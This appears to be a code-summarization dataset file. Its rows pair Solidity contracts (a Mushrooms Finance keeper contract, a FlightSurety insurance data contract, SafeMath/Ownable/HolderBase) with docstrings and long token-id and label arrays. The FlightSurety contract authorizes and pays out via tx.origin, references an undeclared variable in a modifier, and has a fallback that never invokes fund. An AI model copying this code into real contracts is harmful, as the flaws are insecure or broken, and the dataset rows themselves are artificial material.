_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultAdded(_vault, _requiredEarnBalance);
}
// Unique method to update a strategy with specified gas cost
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-required-harvest:strategy-not-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
emit HarvestStrategyModified(_strategy, _requiredHarvest);
}
// Unique method to update a strategy with specified yield token oracle type
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-yield-token-oracle:strategy-not-added");
stratagyYieldTokenOracles[_strategy] = _yieldTokenOracle;
}
// Unique method to update a vault with specified required want token number for earn()
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::update-required-earn:vault-not-added");
_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultModified(_vault, _requiredEarnBalance);
}
function removeHarvestStrategy(address _strategy) public override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::remove-harvest-strategy:strategy-not-added");
delete requiredHarvest[_strategy];
availableStrategies.remove(_strategy);
if (collateralizedStrategies.contains(_strategy)){
collateralizedStrategies.remove(_strategy);
}
if (leveragedStrategies.contains(_strategy)){
leveragedStrategies.remove(_strategy);
}
emit HarvestStrategyRemoved(_strategy);
}
function removeEarnVault(address _vault) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::remove-earn-vault:vault-not-added");
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy)){
removeHarvestStrategy(_strategy);
delete vaultStrategies[_vault];
}
delete requiredEarnBalance[_vault];
availableVaults.remove(_vault);
emit EarnVaultRemoved(_vault);
}
function setMinHarvestInterval(uint256 _interval) external override onlyGovernor {
require(_interval > 0, "!_interval");
minHarvestInterval = _interval;
}
function setProfitFactor(uint256 _profitFactor) external override onlyGovernor {
require(_profitFactor > 0, "!_profitFactor");
profitFactor = _profitFactor;
}
function setKeepMinRatioMaydayTrigger(uint256 _keepMinRatioTrigger) external onlyGovernor {
require(_keepMinRatioTrigger > 100 && _keepMinRatioTrigger < 10000, "!_keepMinRatioTrigger");
keepMinRatioMaydayTrigger = _keepMinRatioTrigger;
}
function setKeep3r(address _keep3r) external override onlyGovernor {
_setKeep3r(_keep3r);
emit Keep3rSet(_keep3r);
}
function setKeep3rHelper(address _keep3rHelper) external override onlyGovernor {
keep3rHelper = _keep3rHelper;
emit Keep3rHelperSet(_keep3rHelper);
}
function setSlidingOracle(address _slidingOracle) external override onlyGovernor {
slidingOracle = _slidingOracle;
emit SlidingOracleSet(_slidingOracle);
}
function setSushiSlidingOracle(address _sushiSlidingOracle) external override onlyGovernor {
sushiSlidingOracle = _sushiSlidingOracle;
}
function _setRequiredEarn(address _vault, uint256 _requiredEarnBalance) internal {
if (_requiredEarnBalance > 0){
requiredEarnBalance[_vault] = _requiredEarnBalance;
}
}
function _setRequiredHarvest(address _strategy, uint256 _requiredHarvest) internal {
if (_requiredHarvest > 0){
requiredHarvest[_strategy] = _requiredHarvest;
}
}
// Getters
function name() external pure override returns (string memory) {
return "Generic Keep3r for Mushrooms Finance";
}
function getStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](availableStrategies.length());
for (uint256 i; i < availableStrategies.length(); i++) {
_strategies[i] = availableStrategies.at(i);
}
}
function getCollateralizedStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](collateralizedStrategies.length());
for (uint256 i; i < collateralizedStrategies.length(); i++) {
_strategies[i] = collateralizedStrategies.at(i);
}
}
function getVaults() public view override returns (address[] memory _vaults) {
_vaults = new address[](availableVaults.length());
for (uint256 i; i < availableVaults.length(); i++) {
_vaults[i] = availableVaults.at(i);
}
}
// this method is not specified as view since some strategy maybe not able to return accurate underlying profit in snapshot,
// please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) public override returns (bool) {
require(requiredHarvest[_strategy] > 0, "generic-keep3r-v2::harvestable:strategy-not-added");
// Should not trigger if had been called recently
if (strategyLastHarvest[_strategy] > 0 && block.timestamp.sub(strategyLastHarvest[_strategy]) <= minHarvestInterval){
return false;
}
uint256 ethCallCost = 0;
// estimate yield profit to harvest
uint256 profitTokenAmount = 0;
address yieldToken = stratagyYieldTokens[_strategy];
uint256 yieldTokenOracle = stratagyYieldTokenOracles[_strategy];
if (yieldToken == COMP){
profitTokenAmount = ICompStrategy(_strategy).getCompAccrued();
} else{
profitTokenAmount = ICrvStrategy(_strategy).getHarvestable();
}
if (yieldTokenOracle > SUSHISWAP_ORACLE){ // no oracle to use, just use token number
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, 0, ethCallCost);
return (profitTokenAmount >= yieldTokenOracle);
} else{
// quote from keep3r network for specified workload
uint256 kp3rCallCost = IKeep3rV1Helper(keep3rHelper).getQuoteLimit(requiredHarvest[_strategy]);
// get ETH gas cost by querying uniswap sliding oracle
ethCallCost = IUniswapV2SlidingOracle(sushiSlidingOracle).current(KP3R, kp3rCallCost, WETH);
address oracle = yieldTokenOracle == UNISWAP_ORACLE? slidingOracle : sushiSlidingOracle;
uint256 profitInEther = IUniswapV2SlidingOracle(oracle).current(yieldToken, profitTokenAmount, WETH);
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, profitInEther, ethCallCost);
return (profitInEther >= profitFactor.mul(ethCallCost));
}
}
function earnable(address _vault) public view override returns (bool) {
require(availableVaults.contains(_vault), "generic-keep3r-v2::earnable:vault-not-added");
return (IERC20(IVault(_vault).token()).balanceOf(_vault) >= requiredEarnBalance[_vault]);
}
function keepMinRatioMayday(address _strategy) public view override returns (bool) {
require(collateralizedStrategies.contains(_strategy), "generic-keep3r-v2::keepMinRatioMayday:strategy-not-added");
return ICollateralizedStrategy(_strategy).currentRatio() <= (ICollateralizedStrategy(_strategy).minRatio() * keepMinRatioMaydayTrigger / 10000);
}
// harvest() actions for Keep3r
function harvest(address _strategy) external override paysKeeper {
require(harvestable(_strategy), "generic-keep3r-v2::harvest:not-workable");
IStrategy(_strategy).harvest();
strategyLastHarvest[_strategy] = block.timestamp;
emit HarvestedByKeeper(_strategy);
}
// earn() actions for Keep3r
function earn(address _vault) external override paysKeeper {
require(earnable(_vault), "generic-keep3r-v2::earn:not-workable");
IVault(_vault).earn();
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && leveragedStrategies.contains(_strategy)){
ILeveragedStrategy(_strategy).leverageToMax();
}
}
// keepMinRatio() actions for Keep3r
function keepMinRatio(address _strategy) external override paysKeeper {
require(keepMinRatioMayday(_strategy), "generic-keep3r-v2::keepMinRatio:not-workable");
ICollateralizedStrategy(_strategy).keepMinRatio();
}
//chainlink keep job start--------
// harvest() actions for chainlink keeper
function harvestForChainlink(address _strategy) public {
require(msg.sender == address(this), "!this");
require(harvestable(_strategy), "generic-chainlink-keeper-v2::harvest:not-workable");
IStrategy(_strategy).harvest();
strategyLastHarvest[_strategy] = block.timestamp;
emit HarvestedByKeeper(_strategy);
}
// earn() actions for chainlink keeper
function earnForChainlink(address _vault) public {
require(msg.sender == address(this), "!this");
require(earnable(_vault), "generic-chainlink-keeper-v2::earn:not-workable");
IVault(_vault).earn();
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && leveragedStrategies.contains(_strategy)){
ILeveragedStrategy(_strategy).leverageToMax();
}
}
// keepMinRatio() actions for chainlink keeper
function keepMinRatioForChainlink(address _strategy) public {
require(msg.sender == address(this), "!this");
require(keepMinRatioMayday(_strategy), "generic-chainlink-keeper-v2::keepMinRatio:not-workable");
ICollateralizedStrategy(_strategy).keepMinRatio();
}
function checkUpkeep(bytes calldata checkData) external override returns (bool upkeepNeeded, bytes memory performData) {
require(checkCallData(checkData), "bad checkData");
(bool success,bytes memory returnData) = address(this).delegatecall(checkData);
require(success, " delegatecall failed");
bytes memory trueBytes = hex"0000000000000000000000000000000000000000000000000000000000000001";
upkeepNeeded = keccak256(returnData) == keccak256(trueBytes);
performData = "";
if(upkeepNeeded){
bytes4 sig = getSig(checkData);
address targetAddr = abi.decode(checkData[4:], (address));
if(sig == earnableMethodId){
performData = abi.encodeWithSelector(earnForChainlinkMethodId, targetAddr);
}else if(sig == harvestableMethodId){
performData = abi.encodeWithSelector(harvestForChainlinkMethodId, targetAddr);
}else if(sig == keepMinRatioableMethodId){
performData = abi.encodeWithSelector(keepMinRatioForChainlinkMethodId, targetAddr);
}
}
}
function performUpkeep(bytes calldata performData) external override {
require(checkPerformData(performData), "bad performData");
(bool success,) = address(this).call(performData);
require(success, "call failed");
}
function checkCallData(bytes calldata checkData) public pure returns (bool){
require(checkData.length > 10, "checkData not good");
bytes4 sig = getSig(checkData);
return (sig == earnableMethodId || sig == harvestableMethodId || sig == keepMinRatioableMethodId);
}
function checkPerformData(bytes calldata performData) public pure returns (bool){
require(performData.length > 10, "performData not good");
bytes4 sig = getSig(performData);
return (sig == earnForChainlinkMethodId || sig == harvestForChainlinkMethodId || sig == keepMinRatioForChainlinkMethodId);
}
function getSig(bytes calldata data) internal pure returns (bytes4){
bytes4 sig = data[0] |
(bytes4(data[1]) >> 8) |
(bytes4(data[2]) >> 16) |
(bytes4(data[3]) >> 24);
return sig;
}
//chainlink keep job end--------
} | DAI Leveraged Yield $COMP
| addStrategy(MMController(_mmController).vaults(DAI), MMController(_mmController).strategies(DAI), 700000, false, true, COMP, 3 * 1e18); | 7,674,352 | [
1,
9793,
45,
9079,
3519,
502,
11349,
31666,
271,
10057,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
527,
4525,
12,
8206,
2933,
24899,
7020,
2933,
2934,
26983,
87,
12,
9793,
45,
3631,
18295,
2933,
24899,
7020,
2933,
2934,
701,
15127,
12,
9793,
45,
3631,
2371,
11706,
16,
629,
16,
638,
16,
13846,
16,
890,
380,
404,
73,
2643,
1769,
12900,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* STRUCTS */
/********************************************************************************************/
struct Airline {
string name;
uint funds;
}
struct Insurance {
uint amount;
address airlineAddress;
string flight;
uint credit;
bool expired;
}
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// Account used to deploy contract
address private contractOwner;
// Blocks all state changes throughout the contract if false
bool private operational = true;
// The callers authorized to call this data contract
mapping(address => bool) private authorizedCallers;
// Airlines registered
mapping(address => Airline) private airlines;
uint private numAirlines;
// Airline => Flight => Passenger => Insurance
mapping(address => mapping(string => mapping(address => Insurance))) private insurances;
// Airline => Flight => Passenger[]
mapping(address => mapping(string => address[])) private insurees;
// Passenger => Insurances[]
mapping(address => Insurance[]) private passengerInsurances;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
event AirlineFunded(address airlineAddress, uint funds);
event AirlineRegistered(address airlineAddress);
event Buy(address passenger, address airlineAddress, string flight, uint amount);
event CreditPassenger(address passenger, address airlineAddress, string flight, uint credit);
event GetPassengerCredit(address passenger, uint amount, address airlineAddress, string flight, uint credit, bool expired);
event GetPassengerCreditCount(address passenger, uint count);
event FundsTransfered(address passenger, address airlineAddress, string flight, uint credit);
event CreditDebug(uint amount, uint factor, uint mul, uint div, uint credit);
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor(address firstAirlineAddress, string firstAirlineName) public {
contractOwner = msg.sender;
airlines[firstAirlineAddress] = Airline(firstAirlineName, 0);
numAirlines = numAirlines.add(1);
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational() {
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner() {
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier that requires the caller to be authorized
*/
modifier requireIsCallerAuthorized() {
require(msg.sender == contractOwner || authorizedCallers[msg.sender] == true, "Caller is not authorized");
_;
}
/**
* @dev Modifier that requires the insurance to not be expired
*/
modifier requireIsInsuranceNotExpired(Insurance insurance) {
require(insurance.expired == false, "Insurance already credited!");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational() public view returns(bool) {
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus ( bool mode ) external requireContractOwner {
operational = mode;
}
/**
* @dev Checks if airline is registered
*
* @return A bool that is registered status of the airline
*/
function isAirlineRegistered(address airlineAddress) external view returns(bool) {
bytes memory nameTmp = bytes(airlines[airlineAddress].name);
return nameTmp.length > 0;
}
/**
* @dev Checks if airline is funded
*
* @return A bool that is the funded state of the airline
*/
function isAirlineFunded(address airlineAddress) external view returns(bool) {
return airlines[airlineAddress].funds > 0;
}
/**
* @dev Checks if airline is funded
*
* @return A bool that is the funded state of the airline
*/
function getNumberOfAirlinesRegistered() external view returns(uint) {
return numAirlines;
}
// function getAirline(address airlineAddress) external view returns(string name, uint length, bool validation) {
// bytes memory nameTmp = bytes(airlines[airlineAddress].name);
// name = airlines[airlineAddress].name;
// length = nameTmp.length;
// validation = length > 0;
// }
function getInsuranceFunds(address airlineAddress, string flight) external view returns(uint funds) {
funds = insurances[airlineAddress][flight][msg.sender].amount;
}
function getContractOwner() external view returns(address) {
return contractOwner;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Authorizes a caller
*/
function authorizeCaller(address callerAddress) external requireContractOwner {
authorizedCallers[callerAddress] = true;
}
/**
* @dev Funds an airline
*/
function fund() external requireIsOperational requireIsCallerAuthorized payable {
airlines[tx.origin].funds = airlines[tx.origin].funds.add(msg.value);
emit AirlineFunded({airlineAddress: tx.origin, funds: airlines[tx.origin].funds});
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline (address airlineAddress, string name) external requireIsOperational requireIsCallerAuthorized {
require(!this.isAirlineRegistered(airlineAddress), 'Airline already registered!');
airlines[airlineAddress] = Airline(name, 0);
numAirlines = numAirlines.add(1);
emit AirlineRegistered(airlineAddress);
}
/**
* @dev Buy insurance for a flight
*
*/
function buy(address airlineAddress, string flight) external payable requireIsOperational requireIsCallerAuthorized returns(string airlineName, string flightNumber, uint amountInsured) {
require(insurances[airlineAddress][flight][tx.origin].amount == 0, 'Insurance already bought!');
insurances[airlineAddress][flight][tx.origin].amount = msg.value;
insurees[airlineAddress][flight].push(tx.origin);
airlineName = airlines[airlineAddress].name;
flightNumber = flight;
amountInsured = msg.value;
emit Buy(tx.origin, airlineAddress, flight, amountInsured);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees(address airlineAddress, string flight, uint creditFactor) external requireIsOperational requireIsCallerAuthorized requireIsInsuranceNotExpired(insurances[airlineAddress][flight][passenger]) {
uint amount;
uint credit;
for(uint i; i < insurees[airlineAddress][flight].length; i++){
address passenger = insurees[airlineAddress][flight][i];
amount = insurances[airlineAddress][flight][passenger].amount;
credit = insurances[airlineAddress][flight][passenger].credit;
if(amount > 0 && credit == 0){
credit = amount.mul(creditFactor).div(100);
insurances[airlineAddress][flight][passenger].credit = credit;
Insurance memory insurance = Insurance({
amount: amount,
airlineAddress: airlineAddress,
flight: flight,
credit: credit,
expired: false
});
passengerInsurances[passenger].push(insurance);
emit CreditDebug(amount, creditFactor, amount.mul(creditFactor), amount.mul(creditFactor).div(100), credit);
emit CreditPassenger(passenger, airlineAddress, flight, insurance.credit);
}
}
}
/**
* @dev Gets all the insurees of a flight
*/
function getFlightInsurees(address airlineAddress, string flight) external view requireIsOperational requireIsCallerAuthorized returns(address[]) {
return insurees[airlineAddress][flight];
}
/**
* @dev Gets all the passenger credits
*/
function getPassengerCredit(address passengerAddress, uint index) external requireIsOperational requireIsCallerAuthorized returns(uint amount, address airlineAddress, string flight, uint credit, bool expired) {
Insurance memory insurance = passengerInsurances[passengerAddress][index];
airlineAddress = insurance.airlineAddress;
flight = insurance.flight;
amount = insurances[airlineAddress][flight][passengerAddress].amount;
credit = insurances[airlineAddress][flight][passengerAddress].credit;
expired = insurances[airlineAddress][flight][passengerAddress].expired;
emit GetPassengerCredit(passengerAddress, amount, airlineAddress, flight, credit, expired);
}
/**
* @dev Gets the passenger credits count
*/
function getPassengerCreditCount(address passengerAddress) external requireIsOperational requireIsCallerAuthorized returns(uint count) {
count = passengerInsurances[passengerAddress].length;
emit GetPassengerCreditCount(passengerAddress, count);
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay(address airlineAddress, string flight) external requireIsOperational requireIsCallerAuthorized {
Insurance memory insurance = insurances[airlineAddress][flight][tx.origin];
require(!insurance.expired, 'Insurance not found or already transfered!');
tx.origin.transfer(insurance.credit);
insurances[airlineAddress][flight][tx.origin].expired = true;
emit FundsTransfered(tx.origin, airlineAddress, flight, insurance.credit);
}
function getFlightKey( address airline, string memory flight, uint256 timestamp ) pure internal returns(bytes32) {
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function() external payable {
this.fund.value(msg.value);
}
}
| * @dev Constructor The deploying account becomes contractOwner/ | constructor(address firstAirlineAddress, string firstAirlineName) public {
contractOwner = msg.sender;
airlines[firstAirlineAddress] = Airline(firstAirlineName, 0);
numAirlines = numAirlines.add(1);
}
| 5,419,141 | [
1,
6293,
1377,
1021,
7286,
310,
2236,
12724,
6835,
5541,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
2867,
1122,
29752,
1369,
1887,
16,
533,
1122,
29752,
1369,
461,
13,
1071,
288,
203,
3639,
6835,
5541,
273,
1234,
18,
15330,
31,
203,
3639,
23350,
3548,
63,
3645,
29752,
1369,
1887,
65,
273,
432,
481,
1369,
12,
3645,
29752,
1369,
461,
16,
374,
1769,
203,
3639,
818,
29752,
3548,
273,
818,
29752,
3548,
18,
1289,
12,
21,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title HolderBase
* @notice HolderBase handles data & funcitons for token or ether holders.
* HolderBase contract can distribute only one of ether or token.
*/
contract HolderBase is Ownable {
using SafeMath for uint256;
uint8 public constant MAX_HOLDERS = 64; // TODO: tokyo-input should verify # of holders
uint256 public coeff;
bool public distributed;
bool public initialized;
struct Holder {
address addr;
uint96 ratio;
}
Holder[] public holders;
event Distributed();
function HolderBase(uint256 _coeff) public {
require(_coeff != 0);
coeff = _coeff;
}
function getHolderCount() public view returns (uint256) {
return holders.length;
}
function initHolders(address[] _addrs, uint96[] _ratios) public onlyOwner {
require(!initialized);
require(holders.length == 0);
require(_addrs.length != 0);
require(_addrs.length <= MAX_HOLDERS);
require(_addrs.length == _ratios.length);
uint256 accRatio;
for(uint8 i = 0; i < _addrs.length; i++) {
if (_addrs[i] != address(0)) {
// address will be 0x00 in case of "crowdsale".
holders.push(Holder(_addrs[i], _ratios[i]));
}
accRatio = accRatio.add(uint256(_ratios[i]));
}
require(accRatio <= coeff);
initialized = true;
}
/**
* @dev Distribute ether to `holder`s according to ratio.
* Remaining ether is transfered to `wallet` from the close
* function of RefundVault contract.
*/
function distribute() internal {
require(!distributed, "Already distributed");
uint256 balance = this.balance;
require(balance > 0, "No ether to distribute");
distributed = true;
for (uint8 i = 0; i < holders.length; i++) {
uint256 holderAmount = balance.mul(uint256(holders[i].ratio)).div(coeff);
holders[i].addr.transfer(holderAmount);
}
emit Distributed(); // A single log to reduce gas
}
/**
* @dev Distribute ERC20 token to `holder`s according to ratio.
*/
function distributeToken(ERC20Basic _token, uint256 _targetTotalSupply) internal {
require(!distributed, "Already distributed");
distributed = true;
for (uint8 i = 0; i < holders.length; i++) {
uint256 holderAmount = _targetTotalSupply.mul(uint256(holders[i].ratio)).div(coeff);
deliverTokens(_token, holders[i].addr, holderAmount);
}
emit Distributed(); // A single log to reduce gas
}
// Override to distribute tokens
